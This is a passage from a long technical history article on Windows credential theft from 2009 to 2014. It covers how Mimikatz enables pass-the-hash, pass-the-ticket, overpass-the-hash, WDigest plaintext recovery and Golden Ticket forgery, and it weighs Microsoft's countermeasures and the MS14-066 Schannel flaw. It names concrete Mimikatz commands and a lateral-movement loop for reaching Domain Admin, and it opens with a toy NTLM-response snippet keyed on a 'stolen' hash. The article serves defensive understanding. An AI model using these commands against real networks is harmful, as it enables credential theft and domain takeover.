function ntlmResponse(ntHash, serverNonce, clientNonce) { // Simplified single-stage HMAC-MD5 keyed on the NT hash. // The plaintext password is never used by the protocol after logon. const hmac = crypto.createHmac('md5', Buffer.from(ntHash, 'hex')); hmac.update(Buffer.concat([serverNonce, clientNonce])); return hmac.digest('hex'); }

const stolenHash = '8846f7eaee8fb117ad06bdd830b7586c'; const serverNonce = Buffer.from('0123456789abcdef', 'hex'); const clientNonce = Buffer.from('fedcba9876543210', 'hex');

console.log('NTLM response:', ntlmResponse(stolenHash, serverNonce, clientNonce)); console.log('No plaintext password was used. The hash IS the credential.'); `}

Note: The plaintext password is not the secret. Once the operating system has derived the hash at logon, anyone who reaches LSASS and reads that hash can authenticate as the user against any NTLM-accepting service for as long as that hash remains valid -- which is until the user next changes the password. The credential-replay class is a corollary of this single insight applied to different bearer credentials.

Extract a Kerberos Ticket-Granting Ticket or service ticket from LSASS and re-import it into another logon session for replay. Mimikatz exposes both halves: `sekurlsa::tickets /export` extracts; `kerberos::ptt` re-imports [@mimikatz-github].

Pass-the-Ticket is the Kerberos analogue of Pass-the-Hash. A Kerberos TGT is a bearer credential by design -- it proves the holder authenticated to the Key Distribution Center -- and like the NT hash, anyone holding the ticket can replay it. Mimikatz's kerberos::ptt injects a ticket blob into the local session's ticket cache; the next call to klist shows it as if the local logon had earned it.

Use a stolen NT hash to request a *fresh* Kerberos TGT from the Key Distribution Center -- the bridge from an NTLM-recovered hash to a Kerberos-issued ticket. Defeats estates that have disabled NTLM but trust Kerberos pre-authentication keys derived from the same password hash [@mimikatz-github].

Overpass-the-Hash is the bridge primitive. Estates that disabled NTLM in 2012-2014 in response to early Pass-the-Hash discussion believed they had closed the credential-replay door. Overpass-the-Hash re-opened it by using the NT hash directly as the RC4-HMAC Kerberos key to encrypt the pre-authentication timestamp, then sending a normal Kerberos AS-REQ. Where the KDC still accepted RC4, it issued a TGT keyed on the same secret the NTLM stack had used. From there, every subsequent Kerberos service ticket request was a legitimate Kerberos exchange backed by a stolen secret.

WDigest plaintext-in-memory is the fourth primitive, and the one that surprised even Microsoft's own teams when Delpy demonstrated it. Microsoft's WDigest Security Support Provider, which implemented HTTP Digest authentication on the server side and Digest single sign-on on the client side, held the user's plaintext password in LSASS memory by design, recoverable as long as the user's session was active.WDigest predates the modern web; HTTP Digest authentication had been essentially deprecated by the time Mimikatz operationalised the plaintext-recovery primitive, which is why the KB2871997 opt-out has near-zero operational downside on any post-2010 estate. Mimikatz's sekurlsa::logonpasswords enumerated the loaded authentication packages and security support providers, located their logon-session structures in LSASS memory, and printed every cached secret it could decrypt -- including, on most pre-2014 estates, the user's plaintext password in clear text.

(One discipline note. Skeleton Key is not one of the Part 3 Mimikatz primitives. Skeleton Key was disclosed by Dell SecureWorks Counter Threat Unit on January 12, 2015 [@secureworks-skeleton-key] and Delpy added misc::skeleton to Mimikatz on January 17, 2015, both outside the Part 3 window. It opens Part 4.)

sequenceDiagram participant Op as Operator (Admin) participant Mim as mimikatz.exe participant Krn as Windows Kernel participant LSA as LSASS.exe Op->>Mim: privilege::debug Mim->>Krn: AdjustTokenPrivileges (SeDebugPrivilege) Krn-->>Mim: TRUE Op->>Mim: sekurlsa::logonpasswords Mim->>Krn: OpenProcess (PROCESS_VM_READ on LSASS PID) Krn-->>Mim: process handle Mim->>LSA: ReadProcessMemory (walk security-package list) LSA-->>Mim: encrypted credential blobs Mim->>Krn: BCryptDecrypt (LSA master key from same address space) Krn-->>Mim: cleartext NT hashes, TGTs, WDigest plaintexts Mim-->>Op: print every cached secret

4.3 The 2013 inflection: graph-walking offensive Active Directory

In August 2013, Skip Duckwall and Chris Campbell delivered "Pass-the-Hash 2: The Admin's Revenge" at Black Hat USA [@duckwall-campbell-bh2013]. The talk did not invent the primitives Mimikatz had already shipped. It made offensive Active Directory tradecraft a public, named discipline by formalising the graph-walking insight: every Windows host an administrator logs into caches a credential for that administrator; every credential cached on a compromised host is a stolen credential; every stolen credential is a new starting node for the next lateral movement. The attack graph closes on the domain controller within hops measured in single digits on almost every real enterprise estate.

The discipline decomposes into a four-step iterative loop on any Windows estate with cached domain credentials [@duckwall-campbell-bh2013]. Step one: enumerate active sessions on the compromised host -- NetSessionEnum returns inbound SMB sessions, NetWkstaUserEnum returns the logged-on user list (pre-KB4480964 without admin rights), and quser / qwinsta enumerate interactive logons. The output is the (user, host) tuple set representing every credential cached in the host's LSASS. Step two: identify a reachable administrator -- cross-reference each enumerated user against local Administrators group membership and against the domain groups that grant administrative access to a higher-tier host. The output is a set of (harvested-user, target-host) tuples where the harvested credential can be replayed against the target with administrative privilege. Step three: Pass-the-Hash to the higher-tier host -- inject the harvested NT hash into a new logon session via sekurlsa::pth /run:... and execute remote commands against the target as the harvested user, with no need for the cleartext password [@mimikatz-github]. Step four: harvest the new host's LSASS and repeat -- sekurlsa::logonpasswords against the new beachhead dumps every credential that host has cached, each becoming a new starting node for the next iteration. The loop terminates when one harvested credential is a Domain Admin.

This four-step loop is the implicit graph the article's diagram illustrates: vertices are users and hosts, edges are MemberOf (user is a group member), AdminTo (user has administrative access to a host), and HasSession (a host currently caches a credential for a user). Three years later, Andy Robbins, Will Schroeder, and Rohan Vazarkar productized this graph at DEF CON 24 in Las Vegas on August 6, 2016 as BloodHound, which uses the SharpHound collector to enumerate every vertex and edge, loads them into a Neo4j database, and runs Cypher shortest-path queries from any compromised principal to the Domain Admins group [@bloodhound-defcon24]. BloodHound is a 2016 artifact and properly belongs to Part 4; for the 2009-2014 Part 3 window, the graph existed only in operator notebooks and on Duckwall and Campbell's whiteboard, but every Windows estate already had it -- the attacker just had to walk it.

4.4 The 2014 inflection: the Golden Ticket

In August 2014, Benjamin Delpy and Skip Duckwall jointly presented "Abusing Microsoft Kerberos: Sorry You Guys Don't Get It" at Black Hat USA [@delpy-duckwall-bh2014].The dual authorship matters: Delpy and Duckwall presented the talk together, and any single-author attribution misses the collaboration that produced the Golden Ticket walkthrough. The headline reveal was the Golden Ticket: a forged Kerberos Ticket-Granting Ticket signed with the domain's stolen krbtgt key (classically the NT hash, which is the RC4-HMAC key, or the krbtgt AES keys on AES-enabled domains).

A forged Kerberos Ticket-Granting Ticket signed with the domain's stolen krbtgt key material (the RC4-HMAC key equal to the NT hash, or the krbtgt AES keys). Grants arbitrary user, arbitrary group, and arbitrary lifetime impersonation across every domain controller in the Active Directory forest. Survives every password reset *except* the krbtgt account's own [@delpy-duckwall-bh2014; @metcalf-golden-ticket].

The krbtgt account is the master signing key for the domain's Kerberos infrastructure. Every TGT a domain controller issues is encrypted and signed with a krbtgt long-term key (RC4-HMAC, which is the NT hash, or AES), and the domain trusts any TGT that verifies against that key. If an attacker holding domain-admin privileges has ever extracted the krbtgt hash from a domain controller's LSASS, they can forge a TGT for any user, with any group membership, with any lifetime they choose -- and the domain controllers will accept it as if it had been legitimately issued. The forged ticket survives every routine password reset on the domain because routine password resets do not rotate the krbtgt account. Sean Metcalf's ADSecurity walkthrough remains the practitioner-grade canonical reference [@metcalf-golden-ticket].

4.5 What this proved

By the end of 2014, the Mimikatz codebase had operationalised pass-the-hash, pass-the-ticket, overpass-the-hash, WDigest plaintext recovery, and the Golden Ticket on a default-configured modern Windows host. Every credential the LSA process held in memory in a recoverable form was structurally exposed.

The scope of that claim matters. TPM-bound keys, smart-card private keys behind a hardware boundary, and Kerberos service keys on Windows servers whose LSASS the attacker had not yet compromised were not exposed by Mimikatz. The precise statement is every credential the LSA process held in memory in a recoverable form, not "every Windows credential primitive ever," and the precise statement is the one Microsoft eventually acknowledged in the Mitigating Pass-the-Hash whitepaper series [@ms-pth-v2].

Mimikatz did not need to defeat AppLocker, ASLR, DEP, or Authenticode. It ran as an administrator, called OpenProcess on LSASS, and walked away with every cached credential the operating system would ever hold. The defender's playbook had been answering the wrong question.

Stuxnet was a four-zero-day operation that ran once. Mimikatz was a free, open-source command that ran every time. The offensive economics of attacking Windows fleets shifted decisively away from zero-day-burning and toward credential replay. Why did this happen, and what does it mean for the next decade of Windows defence?

5. The Causal Link: Hardening Birthed the Credential-Theft Class

After two parallel narratives, the reader has the evidence to follow the argument. This is the article's intellectual centre.

5.1 The pivot up the trust stack

While Microsoft was closing per-binary attack surface -- Authenticode, kernel-mode code signing, ASLR, DEP, AppLocker, AppContainer, ELAM, Secure Boot -- attackers pivoted up the trust stack to what those hardened binaries still had to trust: the credentials in LSASS memory, the Kerberos tickets in the LSA cache, and the LSA process address space itself. The mitigation surface and the attack surface are not at the same layer. This is the article's structural insight, and it is the single sentence the rest of the argument exists to defend.

flowchart TD A["Hardware root: TPM, UEFI Secure Boot db/dbx"] B["Bootloader signature chain (Secure Boot, Measured Boot)"] C["Kernel-mode code (KMCS, ELAM as first boot-start driver, PatchGuard)"] D["User-mode signed binaries (Authenticode, AppLocker rules)"] E["Sandboxed renderers (AppContainer, EPM, WinRT)"] F["LSASS process memory: NT hashes, Kerberos TGTs, krbtgt key"] G["Attacker primitive: Mimikatz sekurlsa::logonpasswords"] A --> B --> C --> D --> E --> F G -.reads.-> F style F fill:#fde68a,stroke:#b45309,color:#5f370e style G fill:#fecaca,stroke:#991b1b,color:#7f1d1d

The diagram makes the asymmetry visible. Every defender control protects a layer below LSASS. Mimikatz attacks LSASS directly. None of the per-binary controls is in the attack path because Mimikatz does not need to defeat them -- it runs as a process the per-binary controls approved.

5.2 The Mimikatz codebase as a single causal node

Every credential-replay class that defines the next decade of red-team tradecraft traces to one 2011 codebase. Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, Golden Ticket -- all four landed in gentilkiwi/mimikatz. After the GitHub repository creation on April 6, 2014 [@mimikatz-github], the same codebase later grew the post-Part-3 modules (Skeleton Key and DCSync; see §11 FAQ) [@secureworks-skeleton-key; @metcalf-dcsync]. There is no comparable single codebase on the defender side. Microsoft's countermeasures landed across at least three product teams (Active Directory, Windows Defender, Hyper-V), and the architectural answer required a hypervisor.

Because you don't want to fix it, I'll show it to the world to make people aware of it. -- Benjamin Delpy [@greenberg-mimikatz-wired]

Delpy's framing converted a defender's blind spot into a public, weaponised primitive. Microsoft's initial dismissal of his private disclosure -- that the credential model was "by design" -- was true, in the most damaging possible sense. The model was by design. The single sign-on contract required it. Closing the gap required a different design.

5.3 The economic argument

The shift was economic as much as architectural. A reliable Windows zero-day exploit chain commanded a substantial unit price on the early-2010s grey market and burned on first use: once a sample was disclosed and patched, the exploit was worthless to a serious operator. A Mimikatz invocation, by contrast, is free, reusable indefinitely on any pre-Credential-Guard estate, leaves no on-disk footprint, and runs as the operator the attacker already compromised. The asymmetry is not subtle.

Property	Stuxnet (June 2010)	Mimikatz (May 2011 onward)
Attacker cost	Four Windows zero-days + two stolen Authenticode certificates + ICS payload [@symantec-stuxnet-dossier-v14]	Free open-source tool [@mimikatz-github]
Reusability	Single-use; zero-days patched within months [@ms-bulletin-ms10-046; @ms-bulletin-ms10-061; @ms-bulletin-ms10-073; @ms-bulletin-ms10-092]	Indefinite on any pre-Credential-Guard host
On-disk footprint	Multi-megabyte signed dropper + Step 7 / S7 payloads	Single executable; can run in memory
Detection footprint	Symantec / Kaspersky / ESET signatures within weeks of disclosure [@symantec-stuxnet-dossier-v14]	Initially evades signature-based AV; later detected via ProcessAccess masks on LSASS
Target population	Specific ICS estate (Natanz)	Every Windows AD estate
Threat-model implication	Nation-states will burn zero-days for kinetic effect	Anyone with admin can replay every cached credential

Key idea: Defensive success at one layer reliably produces attacker innovation at the next layer up. The 2009-2014 window proves it: Microsoft killed the rootkit, bootkit, and unsigned-bootloader classes; attackers responded by reading the credentials in LSASS memory that every hardened binary still had to trust. The mitigation surface and the attack surface were not at the same layer.

If the credential layer was structurally broken, why didn't Microsoft just fix it? They tried. The next section is the honest evaluation of Microsoft's counter-pivot through November 2014.

6. Microsoft's Counter-Pivot: 2013-2014

Microsoft was not asleep. By Windows 8.1 General Availability on October 17, 2013, three controls landed that were directly a response to Mimikatz. They were partial wins, all of them; the architectural acknowledgement that LSASS-in-VTL0 was unsalvageable would arrive only with Virtualisation-Based Security and Credential Guard in Windows 10 1507 [@ms-credential-guard], outside this article's window. This section is the honest evaluation of what shipped, what it accomplished, and why none of it was enough.

6.1 Restricted Admin RDP

Restricted Admin RDP changes the Remote Desktop Protocol so that the client never sends the user's plaintext password to the server's LSASS [@kb2871997]. Instead, the server issues a Network Level Authentication challenge that the client signs using its local NT hash; the user authenticates to the remote desktop session as a network logon rather than an interactive logon. Critical credential material is never present on the RDP server.

The bug Restricted Admin closes is the credential-disclosure failure mode: a foothold on the RDP server used to learn every administrator's plaintext password as they logged in. The bug it leaves open is replay. A Restricted Admin RDP session is a network logon, and an attacker holding the NT hash for an administrative account can invoke sekurlsa::pth /run:"mstsc /restrictedadmin" from a compromised host and authenticate to the target RDP server using only the hash. Restricted Admin reduced disclosure; it did not close replay.

sequenceDiagram participant C as RDP Client participant S as RDP Server (LSASS) Note over C,S: Classic RDP (credential delegation) C->>S: TLS handshake plus plaintext credentials S->>S: LSASS caches plaintext password for session Note over S: Foothold on server reveals every admin password Note over C,S: Restricted Admin RDP (post-KB2871997) C->>S: Network Level Authentication challenge request S->>C: server nonce C->>C: sign nonce with local NT hash C->>S: signed response S->>S: verify against domain controller Note over S: Server never sees plaintext Note over C: Attacker with NT hash can still run mstsc with restrictedadmin

Server-side Restricted Admin shipped at Windows 8.1 / Server 2012 R2 General Availability on October 17, 2013. The client-side back-port to Windows 7, Server 2008 R2, Windows 8, and Server 2012 followed via KB2871997 on May 13, 2014 [@kb2871997], which is also where the WDigest opt-out and TokenLeakDetectDelaySecs primitives shipped.

6.2 LSA Protected Process (RunAsPPL)

LSA Protected Process loads LSASS as a Protected Process Light with the signer level PsProtectedSignerLsa. Once Protected, the Windows kernel refuses any OpenProcess(PROCESS_VM_READ) call against LSASS from a process running at a lower signer level -- including a process running as NT AUTHORITY\SYSTEM with SeDebugPrivilege [@ms-lsa-protection]. The flag is enabled by setting HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL to 1. RunAsPPL is the strongest credential-protection primitive Microsoft shipped inside Windows 8.1.

A kernel-enforced signer level that prevents OpenProcess(PROCESS_VM_READ) and CreateRemoteThread against the protected process from any process running at a lower signer level, regardless of token privileges or session [@itm4n-lsa-protection; @ms-lsa-protection]. The Lsa variant requires every LSA plug-in DLL (SSP, AP, custom credential providers) to itself be signed at a compatible signer level, which is why enabling RunAsPPL on real estates requires an LSA plug-in audit.

The bypass class is Bring Your Own Vulnerable Driver. A malicious kernel-mode driver, loaded through a vulnerable but Microsoft-signed third-party driver that the attacker has placed on disk, can clear the Protection byte in the kernel EPROCESS structure for LSASS, after which the OpenProcess(PROCESS_VM_READ) call succeeds. Mimikatz ships its own kernel driver, mimidrv.sys, that performs exactly this manipulation [@mimikatz-github]. The structural problem is that RunAsPPL is enforced by the same kernel an attacker is compromising to bypass it; the protection cannot be made strictly stronger inside the same privilege ring than the kernel that enforces it.

A common misreading is that PPL is a partial Credential Guard, or that Credential Guard replaces PPL. The most useful framing is itm4n's: *"I noticed that this protection tends to be confused with Credential Guard, which is completely different"* [@itm4n-lsa-protection]. PPL is a same-privilege gate inside VTL0 -- both LSASS and the attacker live in the same kernel address space, and the kernel decides whether to grant a process handle. Credential Guard is a cross-privilege isolation between VTL0 and VTL1 (the Virtual Trust Levels Hyper-V introduces in Windows 10 1507) [@ms-credential-guard]: the credential material lives in a Virtual Secure Mode trustlet (LSAISO) that the VTL0 kernel cannot read because the hypervisor's Second-Level Address Translation tables deny the mapping. The two controls are complementary -- PPL hardens LSASS against in-VTL0 attackers; Credential Guard moves the high-value secret out of VTL0 entirely. §8.3 develops the cross-privilege isolation argument formally.

6.3 The Mitigating Pass-the-Hash whitepaper series

Microsoft published the Mitigating Pass-the-Hash and Other Credential Theft whitepaper in two versions: v1 in December 2012 from the Trustworthy Computing group [@ms-pth-v1-landing] and v2 in July 2014 [@ms-pth-v2]. There is no v3. Post-2014 guidance migrated into the Securing Privileged Access online documentation rather than appearing as a numbered v3 PDF, and any "v3 2017" reference is incorrect.

The v1 paper introduced the tier 0 / tier 1 / tier 2 administrative-account model: separate the accounts that manage the forest (tier 0: domain controllers, AD), the accounts that manage server applications (tier 1: file servers, Exchange, SQL), and the accounts that manage end-user workstations (tier 2: helpdesk, desktop support). The rule is that a tier-N credential must never be exposed on a tier-(N+1) host. The model is sound. The problem is that v1 was recommendations-only with no enforcement primitive inside the operating system, and operators routinely violated tiering (the helpdesk technician fixing the CEO's laptop with a tier-2 credential and then RDPing to a tier-1 file server exposes the credential at the laptop's LSASS). The v2 paper integrated the technical D5 controls (RunAsPPL, Restricted Admin, KB2871997) precisely because v1 alone could not move the needle on real estates.

6.4 KB2871997 and the WDigest opt-out

The May 13, 2014 update KB2871997 is the single most operationally impactful credential-protection control of the entire window [@kb2871997]. It carried three deliverables. First, the Restricted Admin client back-port to Windows 7 / Server 2008 R2 / Windows 8 / Server 2012, which Section 6.1 covers. Second, the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0 registry default that disabled WDigest plaintext credential storage in LSASS memory on a freshly patched system. Third, the HKLM\SYSTEM\CurrentControlSet\Control\Lsa\TokenLeakDetectDelaySecs (default 30 seconds) cleanup of leaked logon-session credentials.

Note: The WDigest opt-out (UseLogonCredential = 0) has zero operational downside on any post-2010 estate -- HTTP Digest authentication is essentially extinct in the enterprise -- and removes the most-cited credential-recovery primitive Mimikatz used through 2014 [@kb2871997]. It ships with the same back-port that brings Restricted Admin to down-level Windows. There is no defensible argument for not applying it on any supported Windows from 2014 onward.

The WDigest opt-out was buried in the KB2871997 bulletin because the headline framing was Restricted Admin RDP; many 2014-era administrators applied the patch for the RDP fix without realising the WDigest default had also changed [@kb2871997].

6.5 The seeds of Credential Guard

By late 2014 Microsoft was already prototyping the Hyper-V-as-security-boundary architecture that becomes Virtualisation-Based Security, Credential Guard, and Hypervisor-protected Code Integrity in Windows 10 1507 on July 29, 2015 [@ms-credential-guard]. For the Part 3 reader, the key observation is that Microsoft had already concluded by mid-2014 that no amount of in-VTL0 hardening could close the credential-replay gap structurally, and that the architectural answer required moving the credential cache to a different privilege domain than the kernel attackers compromise.

Key idea: Restricted Admin reduced disclosure but not replay. RunAsPPL stopped a Mimikatz invocation only until BYOVD. The Pass-the-Hash tiering model named the problem but had no enforcement primitive inside the operating system. Microsoft's counter-pivot in the Part 3 window was correct in direction and insufficient by construction -- because the architecture was the problem, not the engineering.

Microsoft shipped the right primitives. None of them was sufficient by construction, because the architecture was the problem. To see why, we have to look at the one structural thing the window left open: the SChannel attack surface, and the impossibility argument behind it.

7. The SChannel Coda: WinShock (MS14-066, November 11, 2014)

The window closes on November 11, 2014 with the last great pre-cloud TLS-stack remote code execution in Windows. WinShock is a counterpoint that reinforces the article's thesis rather than contradicting it: even with every credential-layer control of 2013-2014 deployed, an unrelated per-binary defect in the Schannel TLS stack could still hand an attacker remote code execution before any application code ran. The credential-layer hardening Microsoft spent the year shipping could not have prevented this bug, and the bug's existence is part of the evidence that hardening one layer leaves orthogonal layers exposed.

A note up front, because the popular framing got this wrong. The bulletin itself was not silent. MS14-066 was published on the November 11, 2014 Patch Tuesday with a Critical severity rating, an explicit CVE assignment (CVE-2014-6321), contemporary Brian Krebs coverage [@krebs-ms14-066], and public proof-of-concept walkthroughs within months [@nvd-cve-2014-6321]. The "silent" framing applies only to the additional Schannel hardening fixes Microsoft bundled into the same update without separate disclosures.

7.1 The mechanism

A crafted TLS handshake triggered a memory-corruption path inside schannel.dll, the Windows Secure Channel security package that implements TLS for every in-box TLS consumer [@ms-bulletin-ms14-066; @nvd-cve-2014-6321]. The bug allowed remote code execution before any application code ran -- the handshake itself was the attack. The NVD entry catalogues the affected platforms as Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 -- essentially every supported Windows of the era [@nvd-cve-2014-6321].

The attack surface was universal across the Windows enterprise estate of late 2014. Every IIS host terminating HTTPS, every SMB-over-HTTPS endpoint, every RDP-over-TLS listener, every Exchange ActiveSync endpoint, every Active Directory Federation Services endpoint terminating TLS in Schannel was exposed. A defensible writer-side abstraction (which this article takes) is that a crafted handshake triggered a memory-corruption path; the precise internal type and function family Microsoft fixed are not safely attributable without a primary-source walkthrough beyond the bulletin's published abstract.

7.2 The bundled extras

Microsoft bundled additional Schannel hardening into MS14-066 without separate bulletins. The article does not name specific CVE IDs for those bundled extras because prior pipeline runs found such attributions factually wrong (those CVE IDs belong to other bulletins or are REJECTED in NVD). The defensible framing is that Microsoft bundled additional Schannel hardening into the same update without separate bulletins, anchored to contemporary coverage of the patch cycle [@krebs-ms14-066]. The substantive point survives without speculative CVE attribution.

The "no public exploitation" framing of MS14-066 is wrong. BeyondTrust's "Triggering MS14-066" blog post and the SecuritySift "Exploiting MS14-066 (CVE-2014-6321) aka 'Winshock'" walkthrough are both referenced from the NVD entry as Exploit Third Party Advisory [@nvd-cve-2014-6321]. The CVE was patched, and the exploitation tradecraft was public; only the bundled hardening extras went unannotated.

7.3 Strategic significance

WinShock is the bookend on an era when the Windows Schannel stack was the front door of every enterprise. After 2014, TLS termination for major Windows estates increasingly happened at Azure Front Door, Akamai, Cloudflare, or AWS Application Load Balancer rather than at the Windows Schannel layer. Microsoft's own first-party services -- Exchange Online, SharePoint Online, the Office 365 ingress fleet -- terminated TLS at Azure-managed edge appliances, the topology documented in Microsoft's Microsoft 365 network connectivity principles as the recommended "connect locally to the Microsoft global network" architecture in which the customer's traffic enters Microsoft's network as close to the user as possible and TLS is terminated at the nearest edge node [@ms-365-network-principles]. The architectural lesson is not that Schannel was uniquely fragile; it is that monolithic TLS stacks across hundreds of in-box consumers were a brittle design that the industry stopped accepting as the default deployment topology for enterprise services.

WinShock closed the window with a per-binary patch. But the bigger story -- the credential layer Microsoft had spent the year trying to close -- was structurally broken in a way no patch could fix. To see why, we have to make the impossibility argument formally.

8. Theoretical Limits: Why No Per-Binary Hardening Could Fix the Credential Layer

A reframe. Every section so far has narrated evidence. This section turns that evidence into an argument from architecture -- a structural reason the per-binary playbook could not have fixed the credential layer, regardless of how good Microsoft's engineering was.

8.1 The trusted-computing-base argument

Every authenticated Windows process must, at some point, hold a verifiable secret. As §4.1 established, the single sign-on contract forces LSASS to hold a recoverable secret in memory [@ms-credentials-processes]. As long as that secret lives in a memory space the OS can read, an attacker who reaches that memory space can read it too.

AppLocker, ASLR, DEP, AppContainer, ELAM, and Secure Boot are all per-binary mitigations [@ms-applocker; @ms-elam; @ms-secure-boot]. They prevent the wrong code from running. They do not prevent the right code (an administrator-launched Mimikatz; a Microsoft-signed but vulnerable third-party kernel driver) from reading LSASS memory through documented Win32 APIs. The per-binary playbook is a code-execution control, not a memory-access control, and the credential-theft attack is not a code-execution attack.

8.2 The asymmetry

The defender must close 100% of the per-binary attack surface to prevent a single piece of attacker code from running. The attacker needs only one credential primitive to remain extractable to win. The two budgets are not comparable. The defender's job is exponentially harder by construction, and any single residual gap -- one unsigned plug-in, one cached WDigest plaintext, one stolen NT hash -- gives the attacker domain-wide replay. This is not a Microsoft engineering failure. It is an architectural inevitability of the in-VTL0 LSASS model.

8.3 The VTL0-symmetry argument

In any single-privilege-ring operating system, no protection mechanism implemented inside that ring can structurally defend a memory region against an attacker who reaches that ring. This is the formal statement of the limit Microsoft hit in 2014.

RunAsPPL is the strongest 2014-era expression of this bound. As §6.2 documented, a BYOVD-loaded kernel driver can clear the Protection byte on the LSASS EPROCESS and OpenProcess(PROCESS_VM_READ) succeeds [@itm4n-lsa-protection; @ms-lsa-protection]; the protection is enforced by the same kernel the attacker is compromising; the kernel cannot enforce a protection against itself.

The architectural way to state it: $\text{Protection}{\text{in-ring}}(M) \lt \text{Adversary}{\text{in-ring}}(M)$ for any memory region $M$ in the same privilege ring as the adversary. The protection function and the adversary function operate on the same domain, and the adversary always wins by construction. The algebraic notation is informal; the formal capture is the Bell-LaPadula / Lampson confinement bound, which states that in a single-privilege-ring system an adversary who reaches that ring can read any memory the kernel can map [@wikipedia-bell-lapadula]. Closing the gap requires moving $M$ to a privilege domain $\text{D}'$ such that the in-ring adversary cannot map $\text{D}'$ at all.

That is exactly what Virtualisation-Based Security does in Windows 10 1507 [@ms-credential-guard]. Hyper-V boots before the Windows kernel and creates two Virtual Trust Levels: VTL0 is the normal Windows kernel attackers compromise; VTL1 is Virtual Secure Mode, an isolated execution domain whose memory the VTL0 kernel cannot read because the hypervisor's Second-Level Address Translation tables deny the mapping. Credential Guard hosts an LSA Isolated trustlet (LSAISO) in VTL1 that holds the high-value credential material; the VTL0 LSASS process holds only obfuscated references that LSAISO can resolve. A Mimikatz invocation in VTL0 can still extract the references, but the references no longer dereference to a credential the VTL0 kernel can read.

As long as the kernel that protects LSASS executes in the same privilege ring as the kernel an attacker compromises, every protection inside that ring is bypassable. The credential cache must live in a different privilege domain than the kernel that the attacker can compromise.

8.4 The way out, foreshadowed

Hardware-rooted isolation of the credential cache is the only structural answer. Virtualisation-Based Security, Credential Guard, and the LSAISO trustlet in VTL1 -- the spine of Part 4 -- are the architectural answer to the architectural problem the Part 3 window proves cannot be closed inside VTL0 [@ms-credential-guard]. The article closes the Part 3 argument by naming the problem precisely so Part 4 can name the solution precisely.

Key idea: Hardware-rooted isolation of the credential cache -- the LSAISO trustlet in a VTL1 the VTL0 kernel cannot read -- is the only structural answer. Part 4 ships it. Part 3 names why it had to.

The architecture was the problem. What did practitioners do with this evidence at the end of 2014?

9. Open Problems at the End of 2014

Picture a Fortune-500 security operations centre on a Friday afternoon in early December 2014. The team has applied every Microsoft patch through MS14-066 [@ms-bulletin-ms14-066], deployed AppLocker on Enterprise SKUs [@ms-applocker], set RunAsPPL = 1 after a careful LSA plug-in audit [@ms-lsa-protection], applied KB2871997 to disable WDigest plaintext storage [@kb2871997], and read the Mitigating Pass-the-Hash v2 whitepaper cover to cover [@ms-pth-v2]. They run an internal red-team exercise the following Monday. Mimikatz still works. Why?

The credential layer is still essentially open. WDigest plaintext storage is now opt-out by default on freshly patched hosts, which closes the single most embarrassing primitive Delpy's 2011 demonstration exposed [@kb2871997]. But the cached NT hashes that NTLM authentication needs, the Kerberos Ticket-Granting Tickets the SSO contract holds in the LSA ticket cache, and the krbtgt master signing key on any domain controller whose LSASS the attacker can OpenProcess against all remain extractable [@mimikatz-github; @ms-credentials-processes]. RunAsPPL stops a Mimikatz invocation from user mode, but it does not stop Mimikatz from invoking its own mimidrv.sys driver (or any other vulnerable signed third-party driver) to clear the protection byte from kernel mode and proceed [@itm4n-lsa-protection; @mimikatz-github]. The same sekurlsa::logonpasswords that worked in May 2011 still works in December 2014 on every estate that has not stripped its third-party drivers down to a zero-BYOVD baseline -- which is no real estate at all.

One open problem the security community debated through 2014 deserves a sharper treatment because it surfaces the structural limit of any in-LSASS hardening strategy: why does Microsoft not simply relocate or obfuscate the LSA secret structures whose offsets Mimikatz hard-codes? The Mimikatz codebase carries explicit, per-Windows-build signature and offset tables (for example the lsasrv LogonSessionList table in mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_utils.c, with package-specific offsets such as WDigest in kuhl_m_sekurlsa_wdigest.c) that map every supported Windows build to the byte offsets and signature byte sequences Mimikatz scans for at run time [@mimikatz-sekurlsa-source]. The maintenance cost on the offensive side is one row per shipped Windows build per quarter. The proposed defensive response -- shuffle the struct layouts each cumulative update, randomise the symbol offsets, swap the byte signatures -- fails as a defence for three independent reasons. First, cost asymmetry. Microsoft would commit the test, validation, and Windows Hardware Quality Labs re-certification cost of every layout shuffle across every supported Windows SKU, language pack, and architecture every quarter; Mimikatz's maintainers would commit one pull request and one signature-table row per build. Second, defender-side fragility. The same LSASS structures the offsets index are consumed by Microsoft's own security tooling, by every third-party Endpoint Detection and Response agent, and by Windows Error Reporting; randomising the layout breaks the defender's own dependencies first and the attacker's last. Third, adversary-side robustness. Mimikatz already supports pattern-based signature scanning that finds the target structures even when their absolute offsets move; the offset hard-coding is a performance optimisation, not a requirement. The only structural defence is the one the engineering pipeline is already building: lift the credential cache out of the VTL0 user-mode process space entirely and into a Virtualisation-Based Security trustlet whose memory the VTL0 kernel cannot read. Alex Ionescu's Black Hat USA 2015 "Battle of SKM and IUM" talk lays out the VTL1 / IUM architecture in operator-facing detail and forward-references the Credential Guard design that ships in Windows 10 1507 [@ionescu-skm-ium-bhusa15]. The Part 3 community could see the answer; the architectural prerequisites simply had not yet shipped.

Microsoft is prototyping Virtualisation-Based Security and Credential Guard, but the architectural answer ships outside this article's window [@ms-credential-guard]. Even after it ships, Credential Guard requires Windows 10 Enterprise, UEFI 2.3.1, Secure Boot, a 64-bit CPU with virtualisation extensions, and -- on most estates -- a hardware refresh cycle that costs years and millions. The deployment surface that needs the protection most cannot adopt it until well into 2017.

